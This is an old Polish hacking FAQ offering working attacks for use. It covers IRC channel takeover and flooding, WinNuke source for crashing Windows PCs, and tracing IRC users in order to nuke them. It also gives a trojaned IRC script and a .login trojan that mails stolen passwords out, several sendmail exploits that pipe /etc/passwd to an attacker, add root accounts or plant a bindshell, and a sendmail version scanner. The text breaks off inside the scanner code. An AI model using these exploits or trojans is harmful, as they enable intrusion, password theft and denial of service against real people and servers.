 
HTMLized by Mariya 


HACK FAQ
* P0WER & Lcamtuf * 

ver 0.5+ beta



--------------------------------------------------------------------------------


Dobra zaczne od tego, ze nie ponosze zadnej odpowiedzialnosci jezeli ktos 

zrobi sobie krzywde lub straci dostep do internetu. Sa to wiadomosci 

napisane w celach edukacyjnych ;)


Ach, i jeszcze cos, czesc materialow sam wymyslilem, a czesc to tylko zwalone 

i przetlumaczone kawalki z innych hack faq! 


Specjalne podziekowania dla ULTOR'a , tylko dzieki ktoremu wlasciwie pokazalo 

sie 0.5 (ja jestem zbyt zajety).


A ja, czyli lcamtuf, zrewidowalem czesc tego faq i dodalem pare moich 

programow. Jednoczesnie pragne zapowiedziec WIEEELKIE zmiany (przesadzam) 

w tym faq, ktory w kazdym razie bedzie chyba zmierzal w strone pewnego 

ujednolicenia, poza tym chyba bedzie mial wreszcie tylko swoja, ekskluzywna 

strone www, na ktorej beda wszystkie opisane tu programy. Enjoy!




--------------------------------------------------------------------------------

I. Hackowanie IRC


1 Triki IRC...................................: P0WER 

2 Skrypty ....................................: P0WER 

3 Przejmowanie kanalu.........................: P0WER 

4 Boty........................................: P0WER 

5 Winnuke , port 139 .........................: P0WER 

6 Wlam na konto dzieki IRC....................: P0WER 

7 Jak namierzac i nukowac gosci na irc........: lcamtuf


II. Poczta.


1 Wysylanie fakemaila.........................: P0WER 

2 Hackowanie sendmaila starszego niz 5.55.....: P0WER 

3 Root z sendmaila 8.8.4......................: MaLc00Lm + P0WER 

4 SENDMAIL 5.64...............................: lcamtuf 

5 SENDMAIL 5.65...............................: lcamtuf 

6 SENDMAIL 8.6.7..............................: lcamtuf 

7 SENDMAIL 5.x................................: lcamtuf 

8 SENDMAIL 4.1................................: lcamtuf 

9 SENDMAIL 8.6.9..............................: lcamtuf 

10 SENDMAIL 8.6.?.............................: lcamtuf 

11 Sendmail Scanner...........................: lcamtuf


III. Jak hackowac, by nie narobic sobie klopotow. 


1 Podstawy....................................: P0WER 

2 Jak sie wlamac bezpiecznie..................: lcamtuf 

3 KillLOG.....................................: lcamtuf


IV. Unix - to slowo mowi wszystko.


1 Jak zdobyc hasla............................: P0WER + lcamtuf 

2 Jak dekryptowac hasla Unixa.................: P0WER 

3 Komendy Unixa...............................: P0WER 

4 Finger......................................: P0WER 

5 Jak komus zamknac konto(czasowo)............: P0WER 

6 Anonymous FTP...............................: P0WER 

7 Wlamac sie do servera jako guest............: lcamtuf 

8 Ping flood..................................: P0WER 

9 Jak kogos nastraszyc........................: P0WER 

10 Do czego sluza pliki .xxxxx ...............: P0WER 

11 Sciaganie passwd...........................: P0WER 

12 Jak zalozyc nowe konto.....................: P0WER 

13 ident-scan.c - skanuje dziury servera......: P0WER 

14 kill all processes.........................: P0WER


V. Dziury w WWW.


1 phf.........................................: P0WER 

2 php.........................................: P0WER 

3 phpscan.c - skaner php......................: P0WER 

4 phpget.c - a jak myslisz???.................: P0WER 

5 Vito.c - tester dziur servera http..........: P0WER


VI. Klopoty....................................: P0WER


VII. Unix bugs.................................: lcamtuf


VIII. Skrypty java


1 Killer java.................................: lcamtuf 


IX. Bugi serwerow HTTP.........................: lcamtuf 


X. Cos dla lamerow.............................: P0WER


XI. Rejestry SHIT'a 95.........................: Ultor


XII. Social engeneering........................: P0WER


1 Podejrzenia. 


--------------------------------------------------------------------------------

I Hackowanie IRC (no moze troche przesadzilem)


1 Triki IRC : P0WER


- Fakeowanie mass deopa. 

o Zmien nicka na mode 

o /me change "-oooo <chanop> <chanop> <chanop> <chanop>" on channel 

<channel> by <yournick> 

o mozesz dolozyc tez skrypt, ktory automatycznie bedzie dodawal nick 

opow.


- Glupi zart 

o Zapros kogos na kanal #5,0 , jesli tam wejdzie, zostanie wyrzucony ze 

wszystkich kanalow irc.


- Zdejmowanie +r 

o Napisz /mode <twoj nick> -r+iw - to juz nie dziala na wielu 

serwerach, ale sa dwie dobre metody obejscia tego - po pierwsze 

polaczenie sie z innym serwerem irc, na ktorym nie masz +r (ich 

liste otrzymasz wpisujac /links). Druga metoda to zdobycie konta 

u innego providera internetu (mozna dostac od kumpla) lub 

skorzystanie z tzw. anonIRC, czyli swego rodzaju "bramki" pozwalajacej 

niemal anonimowo korzystac z irc. Serwery anonIRC pojawiaja sie 

i znikaja co chwile, trzeba wiec popytac.


2 Skrypty : P0WER


Dzis coraz wiecej osob uzywa roznych skryptow podczas pracy na IRC, sa to 

skrypty pozdrawiajace i takie inne bzdety, ale na oczywiscie interesuja 

skrypty wojenne tzw warscripts i ochronne portection scripts. 


- Skrypty wojenne:


Sa to skrypty sluzace do utrudniania zycia innym uzytkownikom irc , lub po 

prostu do ich wyrzucania z IRC. Dzia3aja one glownie za zasadzie 

floodowania, co pozwala czasem wyrzucic uzytkownika z IRC, lub wkurwi go 

tak, ze sam sobie pojdzie. 

Istnieja dwa glowne programy do IRC pod shita95. Pirch i Mirc. Obydwa 

posiadaja setki skryptow wojennych, ktore mozna znalezc na wielu stronach 

www (nie pytajcie mnie gdzie). 

Nie polece wam tez zadnego skryptu wojennego, bo do Mirc testowalem kilka i 

wszystkie byly slabe, a do Pircha sam napisalem sobie skrypt. 

Nie bede tutaj tlumaczyl metod dzialania takich skryptow, ale wymienie 

kilka podstawowych. 

ctcp flood - floodowanie poprzez ping, version i inne funkcje ctcp, ktore 

powoduje wyrzucenie uzytkownika z IRC. Zeby efekt byl szybszy i 

skuteczniejszy najlepiej jest floodzic kogos z kilku clonow (sa one 

dostepne w lepszych wersjach skryptow) 

Dcc chat i send - Posylanie komus wielu lewych plikow i chatow, co w 

lamerskich programach do irc powoduje otwieranie sie wielu okienek. 

Msg flood - Powoduje to otwieranie sie wielu okienek z glupimi tekstami, co 

jest strasznie wkuzajace.


- Skrypty do protekcji


Ale wszystko ma swoje czarne strony, bo istnieja skrypty do protekcji 

sa to skrypty ktore powoduja ignorowanie adresu ip z ktorego floodujemy 

klienta, wtedy trzeba uzywac sprytu, lub poszukac slabych stron 

przeciwnika. 

(co sie bede o gownach rozpisywal)


3 Przejmowanie kanalu : P0WER


- Narzedzia - potrzebujesz Link lookera(polecam windows link lookera pod 

shita 95) i Multi colider bots(choc to drugie nie jest niezbedne). 

- Odpalamy Link lookera i szukamy serverow, ktore odlaczyly sie od naszej 

sieci. 

- Laczymy sie z odlaczonym serverem i wchodzimy na kanal, ktory nas 

interesuje, jezeli kanal byl pusty, a my nie mielismy +r to otrzymamy opa. 

- Teraz warto siedziec po drugiej stronie, gdzie wszyscy siedza na kanale i 

spisac kto ma opa. 

- Nie jest to niezbedne, ale jesli kanalem rzadza ludzie doswiadczeni, to 

lepiej odpalic multi colide bots, lub stworzyc dodatkowe sesje po 

odlaczonej stronie splita, z nikami ludzi, ktorzy maja opa na kanale, ktory 

jest celem. Jesli czesc ludzi siedzi po jednej, a czesc po drugiej - 

trzeba postawic mcb na obu serwerach. Jesli interesuje was program, 

ktory robi to automagicznie - pojawi sie na stronie p0werfaq gdy tylko 

stworzymy te strone ;-) 

- Czekamy na polaczenie(czasem sie nie doczekamy bo trwa to kilka dni, a 

czasem trwa kilka minut, wiec trzeba sie spieszyc). Wspomniany wyzej 

program bedzie mozna postawic na serwerze i isc spokojnie spac, gdy 

rano wejdziesz na kanal - bedzie on juz w TWOICH rekach :-) 

- Po polaczeniu czekamy az wszystkie nasz sesje zabija sie z sesjami osob 

po drugiej stronie, ktore mialy opa. 

- Pozniej po pelnej wymianie informacji przez servery mamy opa na obydwu 

serverach i wtedy odbieramy opa wszystkim pozostalym osoba, ktorym udalo 

sie przetrwac atak i kanal jest nasz. 

- nie musze chyba mowic co wtedy robimy z kanalem: Invited only, key, 

topic: Hacked by, moderate i inne takie wkurwiacze niszczace kanal!!!! 

- Moze zdarzyc sie tez, ze namieszamy tak, ze servery nie beda mogly sie 

dogadac i powstana lagi i desynchronizacje, wtedy servery beda polaczone, 

ale kanaly tak do konca nie no i trzeba bedzie probowac jeszcze raz. 

- Wiem ze moze niezbyt jasno opisalem ta metode, ale mowi sie trudno:) 


4 Bot : P0WER


Dobra to odddzielna sprawa i malo majaca wspolnego z haczeniem, wiec powiem 

tylko poniewaz wielu ludzi pyta mnie jak zalozyc bota , ze trzeba miec 

konto unixowe!!!(np na zhaczonym serverze), czesc botow wymaga takze, zeby 

server mial klienta irc, czyli, ze jak telnetujesz sie na niego i 

napiszesz irc, to wyladujesz w Irc. Proste no nie!!!!!! 


5 Winnuke, port 139 : P0WER


Microsoft pozostawial w win95 i NT mnostwo dziur, a jedna z ciekawszych to 

niezwykle zachowanie sie systemu po otrzymaniu pakietu OOB (Out Of Bound) 

na port 139. Tresc pakietu nie gra jakiejkolwiek roli, system... pada. 

Zaleznie od konfiguracji albo sie zawiesza, albo pada system obslugi 

tcp/ip, co w obu wypadkach zmusza uzytkownika do zresetowania komputera. 

Mozna w ten sposob pozbyc sie uciazliwego lamera na ircu. 

Do nukowania sluzy program WinNuke, ktory dostepny jest w wersjach dla 

win95 (dostepne niedlugo na stronie p0werfaq'a) i unixowej, ktorej kod 

zrodlowy macie ponizej:


--- CUT HERE ---


/* winnuke.c - (05/07/97) By _eci */ 

/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */



#include <stdio.h> 

#include <string.h> 

#include <netdb.h> 

#include <netinet/in.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <unistd.h>


#define dport 139 /* Attack port: 139 is what we want */


int x, s; 

char *str = "Bye"; /* Makes no diff */ 

struct sockaddr_in addr, spoofedaddr; 

struct hostent *host;



int open_sock(int sock, char *server, int port) { 

struct sockaddr_in blah; 

struct hostent *he; 

bzero((char *)&blah,sizeof(blah)); 

blah.sin_family=AF_INET; 

blah.sin_addr.s_addr=inet_addr(server); 

blah.sin_port=htons(port);



if ((he = gethostbyname(server)) != NULL) { 

bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); 

} 

else { 

if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { 

perror("gethostbyname()"); 

return(-3); 

} 

}


if (connect(sock,(struct sockaddr *)&blah,16)==-1) { 

perror("connect()"); 

close(sock); 

return(-4); 

} 

printf("Connected to [%s:%d].\n",server,port); 

return; 

}



void main(int argc, char *argv[]) {


if (argc != 2) { 

printf("Usage: %s <target>\n",argv[0]); 

exit(0); 

}


if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { 

perror("socket()"); 

exit(-1); 

}


open_sock(s,argv[1],dport);



printf("Sending crash... "); 

send(s,str,strlen(str),MSG_OOB); 

usleep(100000); 

printf("Done!\n"); 

close(s); 

}


-----CUT HERE------


W przypadku wersji windowsowej trzeba podac IP goscia - oto jak to zrobic 

najprosciej (nie majac zadnych dodatkowych programow): 


- Wpisz na ircu /whois i nick goscia 

- Pojawi sie cos w stylu "Address: wiochmen@port23.pol.pl" 

- Wcisnij "start", wybierz "uruchom..." i wpisz "ping port23.pol.pl" 

- Pojawi sie okienko, a w nim powoli pojawi sie kilka linii: 

Pinging port23.pol.pl [194.204.153.23] with 32 bytes of data: 

... 

- Wazny dla ciebie jest adres IP, czyli 194.204.153.23 - skopiuj go 

szybko do schowka i wklej do winnuka, wpisz jakis tekst ponizej i...


W przypadku wersji unixowej postepuj tak:


- Przegraj to na jakies konto unixowe za pomoca ftp. 

- Zmien nazwe na win.c 

- skompiluj przez telnet: gcc win.c 

- teraz wystarczy napisac: ./a.out cel, gdzie "cel" to adres domeny lub IP 

goscia np: ppp2-cst323.warszawa.tpnet.pl lub 194.160.132.70 


A teraz powiem jak sie przed tym zabezpieczyc, przynajmniej na shicie 95, bo 

pod windows NT trzeba sciagnac Service Pack 3 (jakies 20 MB): 

- Uruchom program "regedit.exe" , znajduje sie on w katalogu twoich winow. 

- Wejdz do "galezi" 

Hkey_Local_Machine\System\CurrentControlSet\Services\VxD\MSTCP 

- Potem nacisnij "Edycja" , "Nowy" , "Wartosc ciagu" i wpisz "BSDUrgent" 

- Pozniej nacisnij "Edycja" , "Modyfikuj" i w pode "Dane wartosci" wpisz 0 

(zero) 

- Zamknij system i uruchom windows ponownie


WAZNE: Jesli ci nie wychodzi - zajrzyj do dalszego rozdzialu, gdzie 

opisalem jak namierzac gosci na irc.


6 Wlam na konto dzieki IRC : P0WER


Jesli dodasz "+ +" do czyjego pliku .rhosts spowodujesz, ze kazdy system 

bedzie zaufany dla jego konta (dotyczy to tylko systemow z zaimplementowanym 

systemem rozproszonego zaufania, na nowych linuxach nie dziala). 

Pozwoli ci to na Remote login na jego konto bez podania hasla. 

Jednym ze sposobow dodania tej linijki moze byc dodanie jej do jakiegos 

popularnego skryptu IRC. 

Mozna tez napisac wlasny skrypt i go zainfekowac. Oto linijka jak trzeba 

dodac: "exec echo + + > $HOME/.rhosts"... 

Lecz jesli uzytkownik jest glupi a ty bedziesz mial troche szczescia mozesz 

dodac ta linijke bez skryptu IRC. 

Mozesz powiedziec klijentowi zeby sam wpisal sobie taka linijke, ale 

musialal by ona wygladac tak: "/exec echo + + > $HOME/.rhosts"... 

W momencie kiedy palant doda "+ +" do do .rhosts wystarzy tylko wpisac: 

"rlogin <serwer ofiary> -l <username ofiary>" 

np zey zalogowac sie na konto lamer@idioci.com.pl wystarczy wpisac: 

rlogin idioci.com.pl -l lamer - oczywiscie z konta unixowego.


Oto przyklad jak zalatwia sie tym lamera:


*Victim* Dude, do you have any IRC scripts?? 

/whois Victim 

*** Victim is victim@any.system.net (John Doe) 

*** on channels: #oralsex 

*** on irc via server irc-2.mit.edu () 

/exec echo "exec echo + + > $HOME/.rhosts" >> fenix.irc 

/dcc send Victim fenix.irc 

*** Sent DCC SEND request to Victim 

*** DCC SEND connection to Victim[123.456.0.0,1383] established 

*** DCC SEND:/home/myuser/fenix.irc to Victim completed 0.04004 kb/sec 


/msg victim just type: /load fenix.irc 

-> *victim* just type: /load fenix.irc 

*Victim* Ok, I did... thanks. 

/msg victim no problem. 

-> *victim* no problem. 

/quit I am lame 

*** Signoff: me (I am lame) 


% rlogin any.system.net -l victim 

Last login: Tue Feb 14 16:49:42 from secure.bellcore.com 

SunOS Release 4.1.3 (ANY) #2: Fri Sep 9 06:12:28 PDT 1994


Default terminal emulation is vt100


For temporary storage please use /tmp 


You have mail. 

ANY% ls 

misc_porno littleboy_nudes 

ANY% exit 

Connection closed. 

% 


A tutaj maly dodatek. .login 'trojan' shell script, ktory zastepuje .login 

file skryptem, ktory podczas logowania bedzie pokazywal, ze uzytkowniko 

podal zle haslo. 

Haslo bedzie przesylane na twoj adres maila, wiec widniejacy tam adres 

zamien na twoj(ale jakis darmowy, zeby cie nie dupneli). 

Mozesz uzywac tego po wejsciu na czyjes konto dzieki .rlogins jesli 

koniecznie chcesz znac haslo klijenta.


Skrypt:


----START SCRIPT---- 

#!/bin/sh 

rm -rf $0 

cp $HOME/.login $HOME/.l 

echo ''>$HOME/.hushlogin 

echo "stty intr '^@' 

echo 'Login incorrect' 

echo -n 'login: ' 

echo $<>.t 

echo -n 'Password: ' 

stty -echo 

echo $<>>.t 

mail yourname@your.mail.account.com<.t 

rm .t 

cat /etc/motd 

mv .l .login 

rm .hushlogin 

stty echo 

source .login">$HOME/.login 

----END SCRIPT----


7 JAK NAMIERZAC I NUKOWAC GOSCI NA IRCU : lcamtuf 


** NAMIERZANIE (nie dziala na laczacych sie przez niektore dialupy):


Vrfy - patrzycie na irc-adres goscia (whois), powiedzmy ze jest to 

lamer@komuter1.uczelnia.com. Nastepnie odpalacie telnet i patrzycie, 

czy mozna sie polaczyc z portem 25 serwera komuter1.uczelnia.com. Jesli 

tak to wpiszcie "vrfy lamer" (w miejsce "lamer" to co gosciu ma przed 

znaczkiem @ w irc-adresie). Jesli sie pojawi np. 

"Maciej Lamerski <lamer@...>" to macie juz imie, nazwisko i e-mail na ktory 

mozna wysylac mail-bomby... Moze tez sie pojawic np. "cannot verify user", 

ale w takiej sytuacji e-mail to irc-adres. Jesli nie dziala albo pojawia sie 

cos w stylu "user unknown" - bierzecie DNS-skaner (dla Win95/WinNT polecam 

DNS-Workshop z http://sunsite.icm.edu.pl/tucows) i wpisujecie adres 

"komputer1.uczelnia.com". Pojawi sie cos w stylu 

"IP address: 194.204.105.15". Wpisujecie wtedy zamiast 

"komputer1.uczelnia.com" ten adres, z tym, ze ostatnia liczbe 

zastepujecie znakiem '*'. Pojawi sie najpewniej bardzo duuuzo IP i nazw 

komputerow i innego syfa, np: 

194.204.105.0: No data 

194.204.105.1: No data 

....... 

194.204.105.14: router.uczelnia.com 

....... 

194.204.105.15: komputer1.uczelnia.com 

194.204.105.16: komputer2.uczelnia.com 

....... 

194.204.105.50: sklep1.mleczarnia.org.pl 

....... (i tak dalej...)


Interesujacy jest adres wystepujacy na ogol przed stacjami roboczymi 

(komputerX), czyli router.uczelnia.com (zamiast router moze to byc: linux, 

unix, boss, main, zenon, angel, punisher :-). W kazdym razie ten oraz ew. 

kilka podobnych adresow sprawdzamy telnetem - jesli dziala im port 25 i 

"rozpoznaja" (vrfy!) uzytkownika "lamer" (czy innego szukanego...) - sukces, 

mamy goscia - jego e-mail to lamer@router.uczelnia.com. 

Tak przy okazji oczywiscie dla wszystkich znalezionych komputerow warto 

sprawdzic sendmaila, phf, ftp i wszystko inne, a na koniec nukowac wszystkie 

komputery robocze, bo najpewniej to sa windowsy :-) 


** ROZWALANIE W RAZIE GDY WINNUKE NIE DZIALA


1. Na chama - nukujemy wszystkie komputery znalezione metoda poprzednia 

2. Finger - jesli facet siedzi na unixie i ma irc-adres 

lamer@router.uczelnia.com to mozna wyslac do niego finger (na adres 

lamer@router.uczelnia.com). Unix zwroci dane delikwenta, komputer na 

ktorym ircuje (np. komputer1.uczelnia.com). I TU GO MACIE, trzeba nukowac 

nie serwer router.uczelnia.com, bo on pracuje na unixie, ale komputer 

klienta, ktory najpewniej siedzi na windowsach - komputer1.uczelnia.com



II Poczta


1 Wysylanie fakemaili : P0WER


- telnetuj sie na port 25 serwera, np: telnet mim.pcz.czest.pl 25 

- Jezeli to mozliwe pomin "HELO" 

- pisz: mail from: (i tu czyis adres e-mailowy) 

- pisz: rcpt to: (osoba do ktorej piszesz list) 

- server pocztowy powinien pisac ok po kazdej funkcji. 

- jezeli cos nie bedzie gralo sprobuj jeszcze raz, ale zacznij od "HELO nikt" 

- pozniej wpisz: data i wcisnij ENTER 

- wpisz zawartosc listu 

- na koncu napisz: . 

- a pozniej: quit 

- jesli odbiorca to lamer, to nie dojdzie do ciebie po naglowku listu, a 

jezeli jest dobry, to sprobuj uzyc serverow, ktore nie dopisuja twojego 

IP do listu(pozniej moze poszukam takich serverow). 


2 Hackowanie starszego sendmaila niz 5.55 (sprawdzone na SunOs 4.1) : P0WER


- Telnetuj sie na port 25 atakowanego serwera: 

telnet mail.twoj.cel.pl 25 

- Pojawi ci sie powitanie serwera pocztowego, powinno byc tam jakies 5.x lub 

4.x, nowsze wersje lub systemy "nie wygladajace" na zwykle sendmaile 

mozesz sobie darowac. 

- Napisz: 

helo hacker 

mail from: "|/bin/mail twoj@email.pl </etc/passwd" 

rcpt to: nikt@gdziestam.com 

data 

. 

quit 

- Teraz pozostaje tylko czekac, az przyjdzie do ciebie list zawierajacy 

w srodku hasla do serwera, ktore musisz pozniej zcrackowac.


3 Root z senmaila 8.8.4 : MaLc00Lm


- Musisz miec mozliwosc pisania do /var/tmp/dead.letter, co jest pewnym 

problemem, ja jeszcze nie widzialem takiego linuxa, ale moze ktos... 

- potem robisz linka lub symlinka: ln /etc/passwd /var/tmp/dead.letter 

(wszystko to na koncie ktore musisz miec na tym hoscie, hahaha) 

- potem telnet na 25 

- piszesz "mail from: jakis@palant.bla.bla" 

- piszesz: "rcpt to: jakis@nie.istniejacy.adres" 

- pozniej stukasz "DATA" i w nastepnej linii "hacker::0:0::/:/bin/sh", 

w kolejnej jeszcze "." i "quit". 

- list nie trafia nigdzie i jest zapisywany w pliku dead.letter, a poniewaz 

dead.letter jest tylko symlinkiem do /etc/passwd - nowe konto hacker 

zostanie dodane do systemu i mozesz juz sie na nie logowac (bez hasla). 

Poza tym jestes oczywiscie rootem.


PS: dead.letter moze byc czasem w innym katalogu(np uzytkownika) , wtedy 

uzyj find'a find / -name dead.letter


A to masz programik, ktory zrobi wszystko za ciebie: 


---cut here--- 

#!/bin/bash 

clear 

echo 

echo Sendmail 8.8.4 and 8.8.5 local exploit. 

echo Scripting by p1 \(peewun@heterosexual.com\) on 4-15-97. 

echo 

if [ $1 = "-rm" ] 

then 

echo Removing /var/tmp/dead.letter 

echo 

rm -rf /var/tmp/dead.letter 

echo Attempting to continue with exploit. 

echo 

fi 

if [ -e /var/tmp/dead.letter ] 

then 

echo File exists: /var/tmp/dead.letter 

echo 

echo If you wish to run this exploit, please delete it by running this 

echo exploit with the -rm flag. 

echo 

exit 

fi 

ln -s /etc/passwd /var/tmp/dead.letter 

cat >> unf << _EOF_ 

helo 

mail from: very@bad.address.here 

rcpt to: another@bad.bad.address 

data 

owned::0:0:exploitation:/:/bin/sh 

. 

_EOF_ 

cat unf | telnet localhost 25 >> /dev/null 

rm -rf unf 

echo 

echo Please wait for dead.letter to possibly be appended to by sendmail. 

echo 

sleep 10 

if grep exploitation /etc/passwd 

then 

echo Successful addition of account 'owned' to /etc/passwd, running 'su.' 

su owned 

else 

echo Unsuccessful exploitation of symbolic link bug. 

fi 

---eof---


4 SENDMAIL 5.64 : lcamtuf


Blad w programie uudecode, ktory ma dostep do .rhosts na koncie ofiary - 

mozemy za jego pomoca zmienic zawartosc tego pliku! Na poczatek trzeba 

zakodowac programem uuencode - dla leni podaje wyglad zakodowanego juz pliku: 

-- cut here -- 

$*R`K"@`` 

` 

end 

-- cut here -- 

Teraz telnetujemy sie na serwer: "telnet ofiara.com 25". Tak wyglada 

sesja:


220 enterprise Sendmail 5.64/zippy-1.22.01 ready at Mon, 25 Jun 97 09:34:12 

-0400 (GMT) 

helo hacker 

250 enterprise Hello hacker (ppp2-cst15.warszawa.tpnet.pl), pleased to meet you 

mail from: bin 

250 bin... Sender ok 

rcpt to: decode 

250 decode... Recipient ok 

data 

354 Enter mail, end with "." on a line by itself 

begin 644 /XXXX/.rhosts 

$*R`K"@`` 

` 

end 

. 

250 Ok 

quit 

221 enterprise closing connection


Hehe... Program uudecode dostanie do rozkodowania plik .rhosts zawierajacy 

zakodowany tekst '+ +', rozpakuje go... I mozemy bez hasla zalogowac sie 

na dowolne konto!!! PS. W miejsce XXXX wpiszcie nazwe konta hackowanego 

uzytkowwnika (/home/lamer), albo na chama - konto roota (/root)...


5 SENDMAIL 5.65 : lcamtuf


Wywolanie dowolnych polecen z uprawnieniem roota? Spoko, nie trzeba miec 

nawet konta:


220 www.urm.gov.pl 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -0500 

helo hacker 

250 Hello cst2-ppp32.warszawa.tpnet.pl, why do you call yourself ? 

mail from: |/usr/ucb/tail|/usr/bin/sh 

250 |/usr/ucb/tail|/usr/bin/sh... Sender ok 

rcpt to: root 

250 root... Recipient ok 

data 

354 Enter mail, end with @.@ on a line by itself 

#!/bin/sh 

# Tu dowoooolne polecenia, powiedzmy takie: 

echo hacker::0:0:nikt:/:/bin/bash >>/etc/passwd 

. 

250 Ok 

quit 

221 www.urm.gov.pl closing connection


6 SENDMAIL 8.6.7 : lcamtuf


Trzeba miec konto, ale jesli sie na nim wpisze:


/usr/lib/sendmail -oE/etc/shadow bounce 

From: (nazwa twojego konta)


To dostaniesz w prezecie hasla, chocby byly shadowowane!!! Mozna tak 

przeczytac kazdy plik.


7 SENDMAIL 5.x : lcamtuf


Utworz plik 'test' o takiej zawartosci (XXXX znaczy to samo co w #5):


-- CUT HERE -- 

rcpt to: /XXXX/.rhosts 

mail from: hacker 

data 

Test sendmaila 

. 

rcpt to: /XXXX/.rhosts 

mail from: hacker 

data 

+ + 

. 

quit 

-- CUT HERE --


A teraz wpisz "telnet ofiara.com 25 <test" 

Jesli pojdzie dobrze to sendmail po dwoch probach (heheheh) dopisze 

gosciowi '+ +' do .rhosts i bedziesz mogl sie zalogowac (nawet na koncie 

roota).


8 SENDMAIL 4.1 (zerzniete dosc dokladnie) : lcamtuf 


Oto program pozwalajacy uruchomic cokolwiek przez sendmaila... Byla tez 

opisana wersja do odpalenia na unixie (skrypt), ale podaje tylko to dla 

sendmaila. Oto jak wyglada sesja (najlepiej to wyciac, zapisac jako plik 

test i uruchomic wpisujac "telnet ofiara.com 25 <test"):


-- CUT HERE -- 

helo 

mail from: | 

rcpt to: bounce 

data 

. 

mail from: bin 

rcpt to: | sed '1,/^$/d' | sh 

data 

cat > /tmp/a.c <<EOF 

#include <sys/types.h> 

#include <sys/signal.h> 

#include <sys/socket.h> 

#include <netinet/in.h> 

#include <netdb.h> 

reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; 

int **av;{struct sockaddr_in mya;struct servent *sp 

;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); 

signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 

0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, 

sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) 

==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port 

=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, 

(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 

1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if 

(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto 

loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() 

==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x< 

NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2 

(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new); 

goto loop;} 

EOF 

cd /tmp 

/bin/cc /tmp/a.c 

/bin/rm a.c 

/tmp/a.out 7008 /bin/sh 

. 

quit 

-- CUT HERE --


9 SENDMAIL 8.6.9 : lcamtuf


Programik do uzyskania dostepu jako "bin" do systemu plikow... Hemm, C. 

Kompilacja: cc smh.c -osmh 

Wywolanie: "./smh" albo "./smh nazwa_uzytkownika sciezka_do_sendmaila".


-- CUT HERE -- 

#include <sys/types.h> 

#include <unistd.h> 

#include <stdlib.h>


main(argc, argv) 

int argc; 

char **argv; 

{ 

execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p", 

"ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, 

P=/bin/sh, F=lsDFMeu, 

A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 

/tmp/newsh\">\n$rascii ", 

argv[1] ? argv[1] : "atreus",0); 

} 

-- CUT HERE --


10 SENDMAIL 8.6.? : lcamtuf


Odczytanie pliku (potrzebne konto).


/usr/lib/sendmail -C/etc/shadow


11 Sendmail Scanner : lcamtuf


Oto moj skaner sendmaili, ktory pomoze wam przeszukac spore ilosci serwerow. 

Lista 700 polskich serwerow oraz program do zbierania adresow znajdziecie 

na stronie p0werfaq, tam tez wersja tego skanera dla win95 (ten jest dla 

linuxa):


-- CUT HERE -- 

// Sendmail-SCANNER 1.0b 

// (c) lcamtuf '97 

// E-mail: lcamtuf@polbox.com


#include <stdio.h> 

#include <sys/socket.h> 

#include <signal.h> 

#include <netinet/in.h> 

#include <netdb.h> 

#include <string.h> 

#include <unistd.h>


#define TIMEOUT 5


FILE *server; 

int sock,to;


void timeout(int signo) { to=1; };


void sm(char *host) { 

char inbuf[1024]; 

struct sockaddr_in sin; 

struct hostent *hp; 

int x; 

hp=gethostbyname(host); 

if (h_errno!=0) { 

printf("Nie moge namierzyc %s, pomijam...\n",host); 

return; 

} 

bcopy(hp->h_addr,(char *) &sin.sin_addr,hp->h_length); 

sin.sin_family=hp->h_addrtype; 

sin.sin_port=htons(25); 

sock=socket(AF_INET,SOCK_STREAM,0); 

if (-1<connect(sock,(struct sockaddr *) &sin,sizeof(sin))) 

printf("Polaczenie z %s: ", host); 

else { 

printf("Nie moge polaczyc sie z %s, pomijam...\n",host); 

return; 

} 

server=fdopen(sock,"a+"); 

while(1) { 

signal(SIGALRM,timeout); 

to=0; 

alarm(TIMEOUT); 

x=recv(sock,inbuf,1024,0); 

alarm(0); 

if (x==-1) { 

printf("(polaczenie przerwane)\n"); 

break; 

} 

if (to) { 

printf("(przekroczony czas oczekiwania)\n"); 

break; 

} 

if (strlen(inbuf)!=0) { 

for (x=3;x<strlen(inbuf);x++) 

if (inbuf[x]==';') inbuf[x]=0; else 

if ((inbuf[x]==',')&&(inbuf[x-3]==' ')) inbuf[x-3]=0; 

printf("%s\n",inbuf); 

break; 

} 

} 

close(sock); 

}


void main(int argc,char *argv[]) { 

FILE* f; 

char srv[1024]; 

int ile=0,a; 

printf("Sendmail-SCANNER 1.0b -- (c) lcamtuf '97\n\n"); 

if (argc!=2) { 

printf(" Ten program sprawdza wersje sendmaila na serwerach podanych"); 

printf(" w pliku.\n Liste serwerow mozna utworzyc za pomoca programu"); 

printf(" HTML2SRV.\n"); 

printf(" Sposob uzycia: SMSCAN plik_z_lista_serwerow\n"); 

exit(1); 

} 

f=fopen(argv[1],"r"); 

if (f==NULL) { 

printf("Nie moge otworzyc podanego pliku.\n"); 

exit(1); 

} 

while (fgets(srv,1024,f)) { 

for (a=0;a<=strlen(srv);a++) 

if ((srv[a]=='\n')||(srv[a]=='\r')) srv[a]=0; 

if (strlen(srv)!=0) { 

sm(srv); 

ile++; 

} 

} 

fclose(f); 

